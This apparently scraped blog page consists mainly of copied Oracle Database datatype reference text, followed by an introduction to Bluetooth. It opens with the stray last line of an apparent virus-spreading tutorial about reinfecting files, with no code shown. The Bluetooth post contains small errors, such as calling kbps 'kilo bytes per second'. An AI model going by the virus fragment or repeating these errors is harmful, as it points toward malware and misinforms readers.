4.All the infected files will be ready to reinfect That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY

Popularity: 12% [?]

Datatype in sql

2012-03-04T20:58:00.000-08:00

CHAR Datatype

The CHAR datatype stores fixed-length character strings. When you create a table with a CHAR column, you must specify a string length (in bytes or characters) between 1 and 2000 bytes for the CHAR column width. The default is 1 byte. Oracle then guarantees that:

· When you insert or update a row in the table, the value for the CHAR column has the fixed length.

· If you give a shorter value, then the value is blank-padded to the fixed length.

· If a value is too large, Oracle Database returns an error.

Oracle Database compares CHAR values using blank-padded comparison semantics.

VARCHAR2 and VARCHAR Datatypes

The VARCHAR2 datatype stores variable-length character strings. When you create a table with a VARCHAR2 column, you specify a maximum string length (in bytes or characters) between 1 and 4000 bytes for the VARCHAR2 column. For each row, Oracle Database stores each value in the column as a variable-length field unless a value exceeds the column's maximum length, in which case Oracle Database returns an error. Using VARCHAR2 and VARCHAR saves on space used by the table.
For example, assume you declare a column VARCHAR2 with a maximum size of 50 characters. In a single-byte character set, if only 10 characters are given for the VARCHAR2 column value in a particular row, the column in the row's row piece stores only the 10 characters (10 bytes), not 50.
Oracle Database compares VARCHAR2 values using nonpadded comparison semantics.

VARCHAR Datatype

The VARCHAR datatype is synonymous with the VARCHAR2 datatype. To avoid possible changes in behavior, always use the VARCHAR2 datatype to store variable-length character strings.

Length Semantics for Character Datatypes

Globalization support allows the use of various character sets for the character datatypes. Globalization support lets you process single-byte and multibyte character data and convert between character sets. Client sessions can use client character sets that are different from the database character set.
Consider the size of characters when you specify the column length for character datatypes. You must consider this issue when estimating space for tables with columns that contain character data.
The length semantics of character datatypes can be measured in bytes or characters.

· Byte semantics treat strings as a sequence of bytes. This is the default for character datatypes.

· Character semantics treat strings as a sequence of characters. A character is technically a codepoint of the database character set.

For single byte character sets, columns defined in character semantics are basically the same as those defined in byte semantics. Character semantics are useful for defining varying-width multibyte strings; it reduces the complexity when defining the actual length requirements for data storage. For example, in a Unicode database (UTF8), you must define a VARCHAR2 column that can store up to five Chinese characters together with five English characters. In byte semantics, this would require (5*3 bytes) + (1*5 bytes) = 20 bytes; in character semantics, the column would require 10 characters.
VARCHAR2(20 BYTE) and SUBSTRB(<string>, 1, 20) use byte semantics. VARCHAR2(10 CHAR) and SUBSTR(<string>, 1, 10) use character semantics.
The parameter NLS_LENGTH_SEMANTICS decides whether a new column of character datatype uses byte or character semantics. The default length semantic is byte. If all character datatype columns in a database use byte semantics (or all use character semantics) then users do not have to worry about which columns use which semantics. The BYTE and CHAR qualifiers shown earlier should be avoided when possible, because they lead to mixed-semantics databases. Instead, the NLS_LENGTH_SEMANTICS initialization parameter should be set appropriately in the server parameter file (SPFILE) or initialization parameter file, and columns should use the default semantics.

NCHAR and NVARCHAR2 Datatypes

NCHAR and NVARCHAR2 are Unicode datatypes that store Unicode character data. The character set of NCHAR and NVARCHAR2 datatypes can only be either AL16UTF16 or UTF8 and is specified at database creation time as the national character set. AL16UTF16 and UTF8 are both Unicode encoding.

· The NCHAR datatype stores fixed-length character strings that correspond to the national character set.

· The NVARCHAR2 datatype stores variable length character strings.

When you create a table with an NCHAR or NVARCHAR2 column, the maximum size specified is always in character length semantics. Character length semantics is the default and only length semantics for NCHAR or NVARCHAR2.
For example, if national character set is UTF8, then the following statement defines the maximum byte length of 90 bytes:

CREATE TABLE tab1 (col1 NCHAR(30));

This statement creates a column with maximum character length of 30. The maximum byte length is the multiple of the maximum character length and the maximum number of bytes in each character.
This section includes the following topics:

· NCHAR

· NVARCHAR2

NCHAR

The maximum length of an NCHAR column is 2000 bytes. It can hold up to 2000 characters. The actual data is subject to the maximum byte limit of 2000. The two size constraints must be satisfied simultaneously at run time.

NVARCHAR2

The maximum length of an NVARCHAR2 column is 4000 bytes. It can hold up to 4000 characters. The actual data is subject to the maximum byte limit of 4000. The two size constraints must be satisfied simultaneously at run time.

Use of Unicode Data in Oracle Database

Unicode is an effort to have a unified encoding of every character in every language known to man. It also provides a way to represent privately-defined characters. A database column that stores Unicode can store text written in any language.
Oracle Database users deploying globalized applications have a strong need to store Unicode data in Oracle Databases. They need a datatype which is guaranteed to be Unicode regardless of the database character set.
Oracle Database supports a reliable Unicode datatype through NCHAR, NVARCHAR2, and NCLOB. These datatypes are guaranteed to be Unicode encoding and always use character length semantics. The character sets used by NCHAR/NVARCHAR2 can be either UTF8 or AL16UTF16, depending on the setting of the national character set when the database is created. These datatypes allow character data in Unicode to be stored in a database that may or may not use Unicode as database character set.

Implicit Type Conversion

In addition to all the implicit conversions for CHAR/VARCHAR2, Oracle Database also supports implicit conversion for NCHAR/NVARCHAR2. Implicit conversion between CHAR/VARCHAR2 and NCHAR/NVARCHAR2 is also supported.

LOB Character Datatypes

The LOB datatypes for character data are CLOB and NCLOB. They can store up to 8 terabytes of character data (CLOB) or national character set data (NCLOB).

LONG Datatype

Note:

Do not create tables with LONG columns. Use LOB columns (CLOB, NCLOB) instead. LONG columns are supported only for backward compatibility.

Oracle also recommends that you convert existing LONG columns to LOB columns. LOB columns are subject to far fewer restrictions than LONG columns. Further, LOB functionality is enhanced in every release, whereas LONG functionality has been static for several releases.
Columns defined as LONG can store variable-length character data containing up to 2 gigabytes of information. LONG data is text data that is to be appropriately converted when moving among different systems.
LONG datatype columns are used in the data dictionary to store the text of view definitions. You can use LONG columns in SELECT lists, SET clauses of UPDATE statements, and VALUES clauses of INSERT statements.

Overview of Numeric Datatypes

The numeric datatypes store positive and negative fixed and floating-point numbers, zero, infinity, and values that are the undefined result of an operation (that is, is "not a number" or NAN).
This section includes the following topics:

· NUMBER Datatype

· Floating-Point Numbers

NUMBER Datatype

The NUMBER datatype stores fixed and floating-point numbers. Numbers of virtually any magnitude can be stored and are guaranteed portable among different systems operating Oracle Database, up to 38 digits of precision.
The following numbers can be stored in a NUMBER column:

· Positive numbers in the range 1 x 10^-130 to 9.99...9 x 10¹²⁵ with up to 38 significant digits

· Negative numbers from -1 x 10^-130 to 9.99...99 x 10¹²⁵ with up to 38 significant digits

· Zero

· Positive and negative infinity (generated only by importing from an Oracle Database, Version 5)

For numeric columns, you can specify the column as:

column_name NUMBER

Optionally, you can also specify a precision (total number of digits) and scale (number of digits to the right of the decimal point):

column_name NUMBER (precision, scale)

If a precision is not specified, the column stores values as given. If no scale is specified, the scale is zero.
Oracle guarantees portability of numbers with a precision equal to or less than 38 digits. You can specify a scale and no precision:

column_name NUMBER (*, scale)

In this case, the precision is 38, and the specified scale is maintained.
When you specify numeric fields, it is a good idea to specify the precision and scale. This provides extra integrity checking on input.
Table 26-1 shows examples of how data would be stored using different scale factors.

Table 26-1 How Scale Factors Affect Numeric Data Storage

Input Data	Specified As	Stored As
7,456,123.89	`NUMBER`	7456123.89
7,456,123.89	`NUMBER(*,1)`	7456123.9
7,456,123.89	`NUMBER(9)`	7456124
7,456,123.89	`NUMBER(9,2)`	7456123.89
7,456,123.89	`NUMBER(9,1)`	7456123.9
7,456,123.89	`NUMBER(6)`	(not accepted, exceeds precision)
7,456,123.89	`NUMBER(7,-2)`	7456100

If you specify a negative scale, Oracle Database rounds the actual data to the specified number of places to the left of the decimal point. For example, specifying (7,-2) means Oracle Database rounds to the nearest hundredths, as shown in Table 26-1.
For input and output of numbers, the standard Oracle Database default decimal character is a period, as in the number 1234.56. The decimal is the character that separates the integer and decimal parts of a number. You can change the default decimal character with the initialization parameter NLS_NUMERIC_CHARACTERS. You can also change it for the duration of a session with the ALTER SESSION statement. To enter numbers that do not use the current default decimal character, use the TO_NUMBER function.

Internal Numeric Format

Oracle Database stores numeric data in variable-length format. Each value is stored in scientific notation, with 1 byte used to store the exponent and up to 20 bytes to store the mantissa. The resulting value is limited to 38 digits of precision. Oracle Database does not store leading and trailing zeros. For example, the number 412 is stored in a format similar to 4.12 x 10², with 1 byte used to store the exponent(2) and 2 bytes used to store the three significant digits of the mantissa(4,1,2). Negative numbers include the sign in their length.
Taking this into account, the column size in bytes for a particular numeric data value NUMBER(p), where p is the precision of a given value, can be calculated using the following formula:

ROUND((length(p)+s)/2))+1

where s equals zero if the number is positive, and s equals 1 if the number is negative.
Zero and positive and negative infinity (only generated on import from Oracle Database, Version 5) are stored using unique representations. Zero and negative infinity each require 1 byte; positive infinity requires 2 bytes.

Floating-Point Numbers

Oracle Database provides two numeric datatypes exclusively for floating-point numbers: BINARY_FLOAT and BINARY_DOUBLE. They support all of the basic functionality provided by the NUMBER datatype. However, while NUMBER uses decimal precision, BINARY_FLOAT and BINARY_DOUBLE use binary precision. This enables faster arithmetic calculations and usually reduces storage requirements.
BINARY_FLOAT and BINARY_DOUBLE are approximate numeric datatypes. They store approximate representations of decimal values, rather than exact representations. For example, the value 0.1 cannot be exactly represented by either BINARY_DOUBLE or BINARY_FLOAT. They are frequently used for scientific computations. Their behavior is similar to the datatypes FLOAT and DOUBLE in Java and XMLSchema.
This section includes the following topics:

· BINARY_FLOAT Datatype

· BINARY_DOUBLE Datatype

BINARY_FLOAT Datatype

BINARY_FLOAT is a 32-bit, single-precision floating-point number datatype. Each BINARY_FLOAT value requires 5 bytes, including a length byte.

BINARY_DOUBLE Datatype

BINARY_DOUBLE is a 64-bit, double-precision floating-point number datatype. Each BINARY_DOUBLE value requires 9 bytes, including a length byte.

Note:

BINARY_DOUBLE and BINARY_FLOAT implement most of the Institute of Electrical and Electronics Engineers (IEEE) Standard for Binary Floating-Point Arithmetic, IEEE Standard 754-1985 (IEEE754). For a full description of the Oracle Database implementation of floating-point numbers and its differences from IEEE754, see the Oracle Database SQL Language Reference

Overview of DATE Datatype

The DATE datatype stores point-in-time values (dates and times) in a table. The DATE datatype stores the year (including the century), the month, the day, the hours, the minutes, and the seconds (after midnight).
Oracle Database can store dates in the Julian era, ranging from January 1, 4712 BCE through December 31, 9999 CE (Common Era, or 'AD'). Unless BCE ('BC' in the format mask) is specifically used, CE date entries are the default.
Oracle Database uses its own internal format to store dates. Date data is stored in fixed-length fields of seven bytes each, corresponding to century, year, month, day, hour, minute, and second.
For input and output of dates, the standard Oracle date format is DD-MON-YY, as follows:

'13-NOV-92'

You can change this default date format for an instance with the parameter NLS_DATE_FORMAT. You can also change it during a user session with the ALTER SESSION statement. To enter dates that are not in standard Oracle date format, use the TO_DATE function with a format mask:

TO_DATE ('November 13, 1992', 'MONTH DD, YYYY')

Oracle Database stores time in 24-hour format—HH:MI:SS. By default, the time in a date field is 00:00:00 A.M. (midnight) if no time portion is entered. In a time-only entry, the date portion defaults to the first day of the current month. To enter the time portion of a date, use the TO_DATE function with a format mask indicating the time portion, as in:

INSERT INTO birthdays (bname, bday) VALUES

    ('ANDY',TO_DATE('13-AUG-66 12:56 A.M.','DD-MON-YY HH:MI A.M.'));

This section includes the following topics:

· Use of Julian Dates

· Date Arithmetic

· Centuries and the Year 2000

· Daylight Savings Support

· Time Zones

Use of Julian Dates

Julian dates allow continuous dating by the number of days from a common reference. (The reference is 01-01-4712 years BCE, so current dates are somewhere in the 2.4 million range.) A Julian date is nominally a noninteger, the fractional part being a portion of a day. Oracle Database uses a simplified approach that results in integer values. Julian dates can be calculated and interpreted differently. The calculation method used by Oracle Database results in a seven-digit number (for dates most often used), such as 2449086 for 08-APR-93.

Note:

Oracle Julian dates might not be compatible with Julian dates generated by other date algorithms.

The format mask 'J' can be used with date functions (TO_DATE or TO_CHAR) to convert date data into Julian dates. For example, the following query returns all dates in Julian date format:

SELECT TO_CHAR (hire_date, 'J') FROM employees;

You must use the TO_NUMBER function if you want to use Julian dates in calculations. You can use the TO_DATE function to enter Julian dates:

INSERT INTO employees (hire_date) VALUES (TO_DATE(2448921, 'J'));

Date Arithmetic

Oracle date arithmetic takes into account the anomalies of the calendars used throughout history. For example, the switch from the Julian to the Gregorian calendar, 15-10-1582, eliminated the previous 10 days (05-10-1582 through 14-10-1582). The year 0 does not exist.
You can enter missing dates into the database, but they are ignored in date arithmetic and treated as the next "real" date. For example, the next day after 04-10-1582 is 15-10-1582, and the day following 05-10-1582 is also 15-10-1582.

Note:

This discussion of date arithmetic might not apply to all countries' date standards (such as those in Asia).

Centuries and the Year 2000

Oracle Database stores year data with the century information. For example, Oracle Database stores 1996 or 2001, and not simply 96 or 01. The DATE datatype always stores a four-digit year internally, and all other dates stored internally in the database have four digit years. Oracle Database utilities such as import, export, and recovery also deal with four-digit years.

Daylight Savings Support

Oracle Database provides daylight savings support for DATETIME datatypes in the server. You can insert and query DATETIME values based on local time in a specific region. The DATETIME datatypes TIMESTAMP WITH TIME ZONE and TIMESTAMP WITH LOCAL TIME ZONE are time-zone aware.

See Also:

· Oracle Database Advanced Application Developer's Guide for more information about centuries and date format masks

· Oracle Database SQL Language Reference for information about date format codes

Time Zones

You can include the time zone in your date/time data and provides support for fractional seconds. Three new datatypes are added to DATE, with the differences listed in Table 26-2.

Table 26-2 Time Zone Datatypes

Datatype	Time Zone	Fractional Seconds
`DATE`	No	No
`TIMESTAMP`	No	Yes
`TIMESTAMP` `WITH TIME ZONE`	Explicit	Yes
`TIMESTAMP` `WITH LOCAL TIME ZONE`	Relative	Yes

TIMESTAMP WITH LOCAL TIME ZONE is stored in the database time zone. When a user selects the data, the value is adjusted to the user's session time zone.
For example, a San Francisco database has system time zone = -8:00. When a New York client (session time zone = -5:00) inserts into or selects from the San Francisco database, TIMESTAMP WITH LOCAL TIME ZONE data is adjusted as follows:

· The New York client inserts TIMESTAMP'1998-1-23 6:00:00-5:00' into a TIMESTAMP WITH LOCAL TIME ZONE column in the San Francisco database. The inserted data is stored in San Francisco as binary value 1998-1-23 3:00:00.

· When the New York client selects that inserted data from the San Francisco database, the value displayed in New York is '1998-1-23 6:00:00'.

· A San Francisco client, selecting the same data, see the value '1998-1-23 3:00:00'.

Note:

To avoid unexpected results in your DML operations on datatime data, you can verify the database and session time zones by querying the built-in SQL functions DBTIMEZONE and SESSIONTIMEZONE. If the database time zone or the session time zone has not been set manually, Oracle Database uses the operating system time zone by default. If the operating system time zone is not a valid Oracle time zone, Oracle Database uses UTC as the default value.

See Also:

Oracle Database SQL Language Reference for details about the syntax of creating and entering data in time stamp columns

Overview of LOB Datatypes

The LOB datatypes BLOB, CLOB, NCLOB, and BFILE enable you to store and manipulate large blocks of unstructured data (such as text, graphic images, video clips, and sound waveforms) in binary or character format. They provide efficient, random, piece-wise access to the data. Oracle recommends that you always use LOB datatypes over LONG datatypes. You can perform parallel queries (but not parallel DML or DDL) on LOB columns.
LOB datatypes differ from LONG and LONG RAW datatypes in several ways. For example:

· A table can contain multiple LOB columns but only one LONG column.

· A table containing one or more LOB columns can be partitioned, but a table containing a LONG column cannot be partitioned.

· The maximum size of a LOB is 128 terabytes depending on database block size, and the maximum size of a LONG is only 2 gigabytes.

· LOBs support random access to data, but LONGs support only sequential access.

· LOB datatypes (except NCLOB) can be attributes of a user-defined object type but LONG datatypes cannot.

· Temporary LOBs that act like local variables can be used to perform transformations on LOB data. Temporary internal LOBs (BLOBs, CLOBs, and NCLOBs) are created in a temporary tablespace and are independent of tables. For LONG datatypes, however, no temporary structures are available.

· Tables with LOB columns can be replicated, but tables with LONG columns cannot.

SQL statements define LOB columns in a table and LOB attributes in a user-defined object type. When defining LOBs in a table, you can explicitly specify the tablespace and storage characteristics for each LOB.
LOB datatypes can be stored inline (within a table), out-of-line (within a tablespace, using a LOB locator), or in an external file (BFILE datatypes). With compatibility set to Oracle9i or higher, you can use LOBs with SQL VARCHAR operators and functions.

See Also:

· Oracle Database SQL Language Reference for a list of differences between the LOB datatypes and the LONG and LONG RAW datatypes

· Oracle Database SecureFiles and Large Objects Developer's Guide for more information about LOB storage and LOB locators

This section includes the following topics:

· BLOB Datatype

· CLOB and NCLOB Datatypes

· BFILE Datatype

BLOB Datatype

The BLOB datatype stores unstructured binary data in the database. BLOBs can store up to 128 terabytes of binary data.
BLOBs participate fully in transactions. Changes made to a BLOB value by the DBMS_LOB package, PL/SQL, or the OCI can be committed or rolled back. However, BLOB locators cannot span transactions or sessions.

CLOB and NCLOB Datatypes

The CLOB and NCLOB datatypes store up to 128 terabytes of character data in the database. CLOBs store database character set data, and NCLOBs store Unicode national character set data. Storing varying-width LOB data in a fixed-width Unicode character set internally enables Oracle Database to provide efficient character-based random access on CLOBs and NCLOBs.
CLOBs and NCLOBs participate fully in transactions. Changes made to a CLOB or NCLOB value by the DBMS_LOB package, PL/SQL, or the OCI can be committed or rolled back. However, CLOB and NCLOB locators cannot span transactions or sessions. You cannot create an object type with NCLOB attributes, but you can specify NCLOB parameters in a method for an object type.

See Also:

Oracle Database Globalization Support Guide for more information about national character set data and Unicode

BFILE Datatype

The BFILE datatype stores unstructured binary data in operating-system files outside the database. A BFILE column or attribute stores a file locator that points to an external file containing the data. The amount of BFILE data that can be stored is limited by the operating system.
BFILEs are read only; you cannot modify them. They support only random (not sequential) reads, and they do not participate in transactions. The underlying operating system must maintain the file integrity, security, and durability for BFILEs. The database administrator must ensure that the file exists and that Oracle Database processes have operating-system read permissions on the file.

Overview of RAW and LONG RAW Datatypes

Note:

The LONG RAW datatype is provided for backward compatibility with existing applications. For new applications, use the BLOB and BFILE datatypes for large amounts of binary data.

Oracle also recommends that you convert existing LONG RAW columns to LOB columns. LOB columns are subject to far fewer restrictions than LONG columns. Further, LOB functionality is enhanced in every release, whereas LONG RAW functionality has been static for several releases.
The RAW and LONG RAW datatypes are used for data that is not to be interpreted (not converted when moving data between different systems) by Oracle Database. These datatypes are intended for binary data or byte strings. For example, LONG RAW can be used to store graphics, sound, documents, or arrays of binary data. The interpretation depends on the use.
RAW is a variable-length datatype like the VARCHAR2 character datatype, except Oracle Net Services (which connects user sessions to the instance) and the Import and Export utilities do not perform character conversion when transmitting RAW or LONG RAW data. In contrast, Oracle Net Services and Import/Export automatically convert CHAR, VARCHAR2, and LONG data between the database character set and the user session character set, if the two character sets are different.
When Oracle Database automatically converts RAW or LONG RAW data to and from CHAR data, the binary data is represented in hexadecimal form with one hexadecimal character representing every four bits of RAW data. For example, one byte of RAW data with bits 11001011 is displayed and entered as 'CB'.
LONG RAW data cannot be indexed, but RAW data can be indexed.

See Also:

Oracle Database Advanced Application Developer's Guide for information about other restrictions on the LONG RAW datatype

Overview of ROWID and UROWID Datatypes

Oracle Database uses a ROWID datatype to store the address (rowid) of every row in the database.

· Physical rowids store the addresses of rows in ordinary tables (excluding index-organized tables), clustered tables, table partitions and subpartitions, indexes, and index partitions and subpartitions.

· Logical rowids store the addresses of rows in index-organized tables.

A single datatype called the universal rowid, or UROWID, supports both logical and physical rowids, as well as rowids of foreign tables such as non-Oracle tables accessed through a gateway.
A column of the UROWID datatype can store all kinds of rowids. The value of the COMPATIBLE initialization parameter (for file format compatibility) must be set to 8.1 or higher to use UROWID columns.

See Also:

"Rowids in Non-Oracle Databases"

This section includes the following topics:

· The ROWID Pseudocolumn

· Physical Rowids

· Logical Rowids

· Rowids in Non-Oracle Databases

The ROWID Pseudocolumn

Each table in an Oracle database internally has a pseudocolumn named ROWID. This pseudocolumn is not evident when listing the structure of a table by executing a SELECT * FROM ... statement, or a DESCRIBE ... statement using SQL*Plus, nor does the pseudocolumn take up space in the table. However, each row's address can be retrieved with a SQL query using the reserved word ROWID as a column name, for example:

SELECT ROWID, last_name FROM employees;

You cannot set the value of the pseudocolumn ROWID in INSERT or UPDATE statements, and you cannot delete a ROWID value. Oracle Database uses the ROWID values in the pseudocolumn ROWID internally for the construction of indexes.
You can reference rowids in the pseudocolumn ROWID like other table columns (used in SELECT lists and WHERE clauses), but rowids are not stored in the database, nor are they database data. However, you can create tables that contain columns having the ROWID datatype, although Oracle does not guarantee that the values of such columns are valid rowids. The user must ensure that the data stored in the ROWID column truly is a valid ROWID.

See Also:

"How Rowids Are Used"

Physical Rowids

Physical rowids provide the fastest possible access to a row of a given table.
They contain the physical address of a row (down to the specific block) and allow you to retrieve the row in a single block access.
Every row in a nonclustered table is assigned a unique rowid that corresponds to the physical address of a row's row piece (or the initial row piece if the row is chained among multiple row pieces).
In the case of clustered tables, rows in different tables that are in the same data block can have the same rowid.
After a rowid is assigned to a row piece, the rowid can change in special circumstances.
For example, if row movement is enabled, then the rowid can change because of partition key updates, Flashback Table operations, shrink table operations, and so on. If row movement is disabled, then a rowid can change if the row is exported and imported using Oracle Database utilities.
A physical rowid datatype has one of two formats:

· The extended rowid format supports tablespace-relative data block addresses and efficiently identifies rows in partitioned tables and indexes as well as nonpartitioned tables and indexes. Tables and indexes created by an Oracle8i (or higher) server always have extended rowids.

· A restricted rowid format is also available for backward compatibility with applications developed with Oracle Database Version 7 or earlier releases.

This section includes the following topics:

· Extended Rowids

· Restricted Rowids

· Examples of Rowid Use

· How Rowids Are Used

Extended Rowids

Extended rowids use a base 64 encoding of the physical address for each row selected. The encoding characters are A-Z, a-z, 0-9, +, and /. For example, the following query:

SELECT ROWID, last_name FROM employees WHERE department_id = 20;

can return the following row information:

ROWID              LAST_NAME

------------------ ----------

AAAAaoAATAAABrXAAA BORTINS

AAAAaoAATAAABrXAAE RUGGLES

AAAAaoAATAAABrXAAG CHEN

AAAAaoAATAAABrXAAN BLUMBERG

An extended rowid has a four-piece format, OOOOOOFFFBBBBBBRRR:

· OOOOOO: The data object number that identifies the database segment (AAAAao in the example). Schema objects in the same segment, such as a cluster of tables, have the same data object number.

· FFF: The tablespace-relative datafile number of the datafile that contains the row (file AAT in the example).

· BBBBBB: The data block that contains the row (block AAABrX in the example). Block numbers are relative to their datafile, not tablespace. Therefore, two rows with identical block numbers could reside in two different datafiles of the same tablespace.

· RRR: The row in the block.

You can retrieve the data object number from data dictionary views USER_OBJECTS, DBA_OBJECTS, and ALL_OBJECTS. For example, the following query returns the data object number for the employees table in the SCOTT schema:

SELECT DATA_OBJECT_ID FROM DBA_OBJECTS

    WHERE OWNER = 'SCOTT' AND OBJECT_NAME = 'EMPLOYEES';

You can also use the DBMS_ROWID package to extract information from an extended rowid or to convert a rowid from extended format to restricted format (or vice versa).

Restricted Rowids

Restricted rowids use a binary representation of the physical address for each row selected. When queried using SQL*Plus, the binary representation is converted to a VARCHAR2/hexadecimal representation. The following query:

SELECT ROWID, last_name FROM employees

    WHERE department_id = 30;

can return the following row information:

ROWID              ENAME

------------------ ----------

00000DD5.0000.0001 KRISHNAN

00000DD5.0001.0001 ARBUCKLE

00000DD5.0002.0001 NGUYEN

As shown, a restricted rowid's VARCHAR2/hexadecimal representation is in a three-piece format, block.row.file:

· The data block that contains the row (block DD5 in the example). Block numbers are relative to their datafile, not tablespace. Two rows with identical block numbers could reside in two different datafiles of the same tablespace.

· The row in the block that contains the row (rows 0, 1, 2 in the example). Row numbers of a given block always start with 0.

· The datafile that contains the row (file 1 in the example). The first datafile of every database is always 1, and file numbers are unique within a database.

Examples of Rowid Use

You can use the function SUBSTR to break the data in a rowid into its components. For example, you can use SUBSTR to break an extended rowid into its four components (database object, file, block, and row):

SELECT ROWID,

       SUBSTR(ROWID,1,6) "OBJECT",

       SUBSTR(ROWID,7,3) "FIL",

       SUBSTR(ROWID,10,6) "BLOCK",

       SUBSTR(ROWID,16,3) "ROW"

       FROM products;

ROWID               OBJECT  FIL  BLOCK   ROW

------------------  ------  ---  ------  ----

AAAA8mAALAAAAQkAAA  AAAA8m  AAL  AAAAQk  AAA

AAAA8mAALAAAAQkAAF  AAAA8m  AAL  AAAAQk  AAF

AAAA8mAALAAAAQkAAI  AAAA8m  AAL  AAAAQk  AAI

Or you can use SUBSTR to break a restricted rowid into its three components (block, row, and file):

SELECT ROWID, SUBSTR(ROWID,15,4) "FILE",

       SUBSTR(ROWID,1,8) "BLOCK",

       SUBSTR(ROWID,10,4) "ROW"

       FROM products;

ROWID               FILE  BLOCK     ROW

------------------  ----  --------  ----

00000DD5.0000.0001  0001  00000DD5  0000

00000DD5.0001.0001  0001  00000DD5  0001

00000DD5.0002.0001  0001  00000DD5  0002

Rowids can be useful for revealing information about the physical storage of a table's data. For example, if you are interested in the physical location of a table's rows (such as for table striping), the following query of an extended rowid tells how many datafiles contain rows of a given table:

SELECT COUNT(DISTINCT(SUBSTR(ROWID,7,3))) "FILES" FROM tablename;

  FILES

--------

See Also:

· Oracle Database SQL Language Reference

· Oracle Database PL/SQL Language Reference

· Oracle Database Performance Tuning Guide

for more examples using rowids

How Rowids Are Used

Oracle Database uses rowids internally for the construction of indexes. Each key in an index is associated with a rowid that points to the associated row's address for fast access. End users and application developers can also use rowids for several important functions:

· Rowids are the fastest means of accessing particular rows.

· Rowids can be used to see how a table is organized.

· Rowids are unique identifiers for rows in a given table.

Before you use rowids in DML statements, they should be verified and guaranteed not to change. The intended rows should be locked so they cannot be deleted. Under some circumstances, requesting data with an invalid rowid could cause a statement to fail.
You can also create tables with columns defined using the ROWID datatype. For example, you can define an exception table with a column of datatype ROWID to store the rowids of rows in the database that violate integrity constraints. Columns defined using the ROWID datatype behave like other table columns: values can be updated, and so on. Each value in a column defined as datatype ROWID requires six bytes to store pertinent column data.

Logical Rowids

Rows in index-organized tables do not have permanent physical addresses—they are stored in the index leaves and can move within the block or to a different block as a result of insertions. Therefore their row identifiers cannot be based on physical addresses. Instead, Oracle provides index-organized tables with logical row identifiers, called logical rowids, that are based on the table's primary key. Oracle Database uses these logical rowids for the construction of secondary indexes on index-organized tables.
Each logical rowid used in a secondary index includes a physical guess, which identifies the block location of the row in the index-organized table at the time the guess was made; that is, when the secondary index was created or rebuilt.
Oracle Database can use guesses to probe into the leaf block directly, bypassing the full key search. This ensures that rowid access of nonvolatile index-organized tables gives comparable performance to the physical rowid access of ordinary tables. In a volatile table, however, if the guess becomes stale the probe can fail, in which case a primary key search must be performed.
The values of two logical rowids are considered equal if they have the same primary key values but different guesses.
This section includes the following topics:

· Comparison of Logical Rowids with Physical Rowids

· Guesses in Logical Rowids

Comparison of Logical Rowids with Physical Rowids

Logical rowids are similar to the physical rowids in the following ways:

· Logical rowids are accessible through the ROWID pseudocolumn.

You can use the ROWID pseudocolumn to select logical rowids from an index-organized table. The SELECT ROWID statement returns an opaque structure, which internally consists of the table's primary key and the physical guess (if any) for the row, along with some control information.

You can access a row using predicates of the form WHERE ROWID = value, where value is the opaque structure returned by SELECT ROWID.

· Access through the logical rowid is the fastest way to get to a specific row, although it can require more than one block access.

· A row's logical rowid does not change as long as the primary key value does not change. This is less stable than the physical rowid, which stays immutable through all updates to the row.

· Logical rowids can be stored in a column of the UROWID datatype

One difference between physical and logical rowids is that logical rowids cannot be used to see how a table is organized.

Note:

An opaque type is one whose internal structure is not known to the database. The database provides storage for the type. The type designer can provide access to the contents of the type by implementing functions, typically 3GL routines.

Guesses in Logical Rowids

When a row's physical location changes, the logical rowid remains valid even if it contains a guess, although the guess could become stale and slow down access to the row. Guess information cannot be updated dynamically. For secondary indexes on index-organized tables, however, you can rebuild the index to obtain fresh guesses. Note that rebuilding a secondary index on an index-organized table involves reading the base table, unlike rebuilding an index on an ordinary table.
Collect index statistics with the DBMS_STATS package or ANALYZE statement to keep track of the staleness of guesses, so Oracle Database does not use them unnecessarily. This is particularly important for applications that store rowids with guesses persistently in a UROWID column, then retrieve the rowids later and use them to fetch rows.
When you collect index statistics with the DBMS_STATS package or ANALYZE statement, Oracle Database checks whether the existing guesses are still valid and records the percentage of stale/valid guesses in the data dictionary. After you rebuild a secondary index (recomputing the guesses), collect index statistics again.
In general, logical rowids without guesses provide the fastest possible access for a highly volatile table. If a table is static or if the time between getting a rowid and using it is sufficiently short to make row movement unlikely, logical rowids with guesses provide the fastest access.

Rowids in Non-Oracle Databases

Oracle Database applications can be run against non-Oracle database servers using SQL*Connect. The format of rowids varies according to the characteristics of the non-Oracle system. Furthermore, no standard translation to VARCHAR2/hexadecimal format is available. Programs can still use the ROWID datatype. However, they must use a nonstandard translation to hexadecimal format of length up to 256 bytes.
Rowids of a non-Oracle database can be stored in a column of the UROWID datatype

What is Bluetooth

2012-03-04T20:53:00.002-08:00

Introduction to Bluetooth

The latest technology for wireless connectivity has taken a new avatar and is called Bluetooth. The Bluetooth technology is a low cost, short range, low power technology using radio waves for wireless connectivity between various devices.
The initial releases of the technology known as Bluetooth 1.1 has speeds upto 720 kbps or kilo bytes per second. The maximum range of Bluetooth is just 10 meters theoretically but in practical situation does not extend beyond 6 meters. Since the technology uses radio waves as the data carrier, it is not limited to a line of sight which was the case with infrared data communication technology. Bluetooth transmission can occur through many obstacles.

Bluetooth is an industry standard which can be implemented in many different devices which can enable them to talk with each other. These devices include computers, mobile phones, headphones, digital cameras and many other devices which require data communications. The technology of Bluetooth involves the stacking of protocols and a radio communication system. While at the top is the Bluetooth application and at the bottom is the radio device.
This new technology christened Bluetooth, has revolutionized the connectivity between various devices and has given people freedom from wires. This low cost technology allows users to simply eliminate wires for connecting computers, head phones, cell phones and other devices is a faster way.
The radio technology used in Blue tooth is just amazing and can be implemented using just two microchips and consumed very low power and is simply capable of integration in any device which requires data communication. Bluetooth provides secure technology and usually is immune to any other signals broadcasted over the same frequency. Security is provided by pairing the communication devices by authentication. Authentication allows secure communication with little chances of eavesdropping by anyone else.

Bluetooth Technology

Bluetooth technology has evolved over the years. It started off as a basic wireless radio connectivity tool and then got developed in a standard which was instantly adopted by the industry which was in the lookout of technology to eliminate wires for short distance communications. It just started as a simple radio communication device and no hat taken the world by the storm and has been adopted by a myriad of equipment ranging from laptops, computers, printers, mobiles, pdas, headphones, car kits and a whole lot of devices which talk with each other.
Bluetooth has emerged as the preferred standard for communication between devices located at short distances usually less than 10 meters. Blue tooth has revolutionized the way how mobile phones communicate with computer, headsets and hands free car kits. File transfers using Bluetooth has become an industry standard as it allows faster transfer of files to and from mobiles to various devices. Using Bluetooth the modern smart mobile phones are able to print pictures directly on Bluetooth enabled printers eliminating the need of a computer in between. This is the advantage of technology.
